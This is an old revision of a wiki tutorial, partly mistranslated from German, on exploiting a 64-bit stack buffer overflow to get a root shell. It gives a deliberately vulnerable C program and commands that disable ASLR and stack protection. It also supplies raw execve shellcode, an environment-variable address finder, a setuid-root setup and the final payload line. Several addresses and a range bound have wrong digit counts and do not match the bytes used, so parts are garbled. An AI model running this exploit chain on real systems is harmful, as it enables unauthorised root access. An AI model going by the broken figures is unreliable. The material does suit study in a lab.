This is an old revision of the document!
Buffer overflow in the 64-bit stack
Project files | nosoc-repo-bof64.zip |
---|---|
Size | 5.76 KB |
Prüfsumme (SHA256) | 191e6f1811018970776e3bf035ff460033a47da62335fe5c9475a460b02a10d3 |
In this tutorial, we will create a buffer overflow on the 64-bit stack to gain root privileges. erlangen.1)
Technical details on buffer overflows, stack etc. can be found at hier2)
Dependencies
What is needed?
- Kali Linux (or other distri)
- GDB Debugger
- gdb-peda
- gcc compiler
gdb-peda Exploit Tools
gdb-peda extends the debugger GDB with helpful commands to exploit Entwicklung.3)
wget http://ropshell.com/peda/peda.tar.gz tar zxvf peda.tar.gz echo "source ~/peda/peda.py" >> ~/.gdbinit
Deactivate ASLR
ASLR must be deactivated so that memory areas are not randomised.
echo 0 | sudo tee /proc/sys/kernel/randomize_va_space
Programme
// code from https://blog.techorganic.com/2015/04/10/64-bit-linux-stack-smashing-tutorial-part-1/ #include <stdio.h> #include <unistd.h> int vuln() { char buf[80]; int r; r = read(0, buf, 400); printf("\nRead %d bytes. buf is %s\n", r, buf); puts("No shell for you :("); return 0; } int main(int argc, char *argv[]) { printf("Try to exec /bin/sh"); vuln(); return 0; }
Compile
gcc -fno-stack-protector -z execstack bof.c -o bof
RIP Register
Of interest to us is the register RIP
. This contains a return address that points to another area in the code. We overwrite this return address with the buffer overflow. But first we have to find out how we can do this.
We start our programme in the debugger and generate a 200-character string:
gdb -q vulnerable pattern_create 200 in.bin r < in.bin
Calculate bytes
How many bytes must be transferred before RIP is overwritten?
pattern_offset A7AAMAAiA
Found at Offset 104
104 bytes must be transferred until the buffer overflows. We generate 104 characters and a canonical return address. To do this, we must use our pseudo address 0x414141414141
into canonical address format by appending 2 high bytes:
0x0000414141414141
We convert this into shellcode:
\x41\x41\x41\x41\x41\x41\x00\x00
In a 64-bit architecture, the entire 2⁶⁴ bytes are not utilised for address space. In a typical 48 bit implementation, canonical address refers to one in the range 0x0000000000000000 to 0x00007FFFFFFFFFFFFF and 0xFFFF800000000000 to 0xFFFFFFFFFFFFFFFFFF. Any address outside this range is non-canonical.4)
Debugging
So let's debug again, with the parameters we have found out
python2 -c "print('A'*104 + '\x41\x41\x41\x41\x41\x41\x00\x00')" > in.bin gdb -q bof r < in.bin
Exploit
In the last step, we create a corresponding exploit to generate the root shell.
Place shellcode
The Shellcode5) is stored in an environment variable
export PWN=`python2 -c 'print( "\x48\x31\xff\xb0\x69\x0f\x05\x48\x31\xd2\x48\xbb\xff\x2f\x62\x69\x6e\x2f\x73\x68\x48\xc1\xeb\x08\x53\x48\x89\xe7\x48\x31\xc0\x50\x57\x48\x89\xe6\xb0\x3b\x0f\x05\x6a\x01\x5f\x6a\x3c\x58\x0f\x05")'`
Find variable in stack
GetEnvVar
// code by Jon Erickson, page 147 and 148 of Hacking: The Art of Exploitation, 2nd Edition #include <stdio.h> #include <stdlib.h> #include <string.h> int main(int argc, char *argv[]) { char *ptr; if(argc < 3) { printf("Usage: %s <environment variable> <target program name>\n", argv[0]); exit(0); } ptr = getenv(argv[1]); /* get env var location */ ptr += (strlen(argv[0]) - strlen(argv[2]))*2; /* adjust for program name */ printf("%s will be at %p\n", argv[1], ptr); }
Compile
gcc getenvar.c -o getenvar
Execute
./getenvar PWN ./bof
The address of the environment variable is 0x7fffffffffef9e
This corresponds to the canonical address 0x00007fffffffffef9e
'. Our shellcode would now correspond:
\x9e\xef\xff\xff\xff\x7f\x00\x00
Attack
First we set root rights to the vulnerable file and start diese6)
sudo chown root bof sudo chmod 4755 bof ./bof
Now we can execute the buffer overflow:
(python2 -c "print('A'*104+'\x9e\xef\xff\xff\xff\x7f\x00\x00')"; cat) | ./bof
Discussion